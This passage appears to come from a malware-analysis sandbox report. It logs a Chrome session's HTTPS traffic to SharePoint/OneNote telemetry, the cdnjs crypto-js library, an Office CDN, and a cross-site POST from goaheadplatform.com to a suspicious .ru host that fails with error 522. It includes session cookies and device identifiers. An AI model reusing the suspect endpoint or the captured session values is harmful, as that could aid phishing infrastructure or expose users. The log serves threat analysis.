Jul 2024 11:07:34 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50061	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:34 UTC	1072	OUT	POST /o/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 186 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:34 UTC	186	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 35 33 36 31 36 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 35 65 64 33 32 35 38 38 2d 37 36 32 33 2d 33 37 37 64 2d 39 30 35 63 2d 66 30 30 30 33 39 35 30 64 30 35 66 22 2c 22 49 22 3a 36 2c 22 56 22 3a 31 7d Data Ascii: {"T":1721128053616,"L":[{"G":595957843,"T":1,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"5ed32588-7623-377d-905c-f0003950d05f","I":6,"V":1}
2024-07-16 11:07:34 UTC	4597	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 4e4b4391-847e-463e-abd4-f5b129ba8d69 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF0001182B X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-EWR31r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF0001182B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 41AE2D8BB51C4B1D96B061ACF957A460 Ref B: EWR311000101011 Ref C: 2024-07-16T11:07:34Z Date: Tue, 16 Jul 2024 11:07:34 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50064	104.17.25.14	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:34 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:35 UTC	969	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1240359 Expires: Sun, 06 Jul 2025 11:07:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LwQWVcbmVVXjqoNwA6AjYYE9B%2BALm958%2F7UcfdQDuQoUKeAByJ8ijeQZIGF0JGHFIHrp5%2F8eievwnVTXubgfzy%2B32IdGMb%2FH8LES7DY3%2Fj4neCjzXDXMG1umJQk%2F%2BqswVRNQ54JU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8a418787682343b7-EWR alt-svc: h3=":443"; ma=86400
2024-07-16 11:07:35 UTC	400	IN	Data Raw: 37 62 65 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7be8!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 63 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f Data Ascii: crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("functio
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 Data Ascii: for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},c
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 74 3d 64 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 Data Ascii: t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)thi
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 3f 28 72 3d 30 2c 32 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c Data Ascii: ?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 38 36 32 36 33 30 39 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 Data Ascii: 86263092+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+o*o,c=((42949017
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b Data Ascii: t(o)]>>>6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 48 5b 32 37 5d 29 2c 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c Data Ascii: H[27]),S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 61 72 20 74 3d 69 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b Data Ascii: ar t=i.clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;
2024-07-16 11:07:35 UTC	1369	IN	Data Raw: 65 6c 70 65 72 28 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e Data Ascii: elper(o),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50066	188.114.96.3	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:35 UTC	615	OUT	POST // HTTP/1.1 Host: ikorti-iao.cbg.ru Connection: keep-alive Content-Length: 29 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://goaheadplatform.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://goaheadplatform.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:35 UTC	29	OUT	Data Raw: 7b 22 76 61 63 63 69 6e 61 74 69 6f 6e 22 3a 22 62 61 62 79 73 69 74 74 69 6e 67 22 7d Data Ascii: {"vaccination":"babysitting"}
2024-07-16 11:08:14 UTC	745	IN	HTTP/1.1 522 Date: Tue, 16 Jul 2024 11:08:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DOAGo1i%2B5YLz3FocqAnfjJF9kG2o6NWZl0WO0F%2FJiYEmP0DGEf2BRTk0og4LLXK%2BtrBAmKObHvruSzQPtT9BUTJEJ4Akp6n3MM1m9wSb7YJtQhxorq5G%2F9V3kDwvmHJtVflimg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8a418789f845727b-EWR alt-svc: h3=":443"; ma=86400
2024-07-16 11:08:14 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50067	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:37 UTC	636	OUT	GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:38 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 76 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:07:38 GMT Last-Modified: Mon, 15 Jul 2024 20:24:24 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=140929228187470680683711872959648720625"}],"include_subdomains ":true} Server: ECAcc (lhc/7938) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 1220d823-801e-0038-1270-d7ccc0000000 Content-Length: 3290 Connection: close
2024-07-16 11:07:38 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 31 30 2e 34 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 30 64 31 66 31 62 31 35 33 64 37 37 31 65 61 38 36 35 39 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 57 4a 62 62 32 36 48 78 63 77 5a 41 64 76 47 41 57 78 54 4e 71 34 67 58 4c 6e 61 58 58 41 47 79 6f 65 55 52 34 4c 4b 4c 63 55 39 61 64 67 62 62 63 4e 7a 63 63 48 51 48 64 36 42 62 50 45 61 55 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 36 61 37 63 32 62 38 36 65 31 63 33 61 61 63 65 38 31 31 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 52 78 65 78 77 30 62 49 64 43 70 2b 4f 58 71 52 57 30 73 44 71 45 73 4f 58 58 45 53 7a 6d 6c 75 2f 4e 56 4c 6e 6f 42 6f 6f 4c 43 Data Ascii: 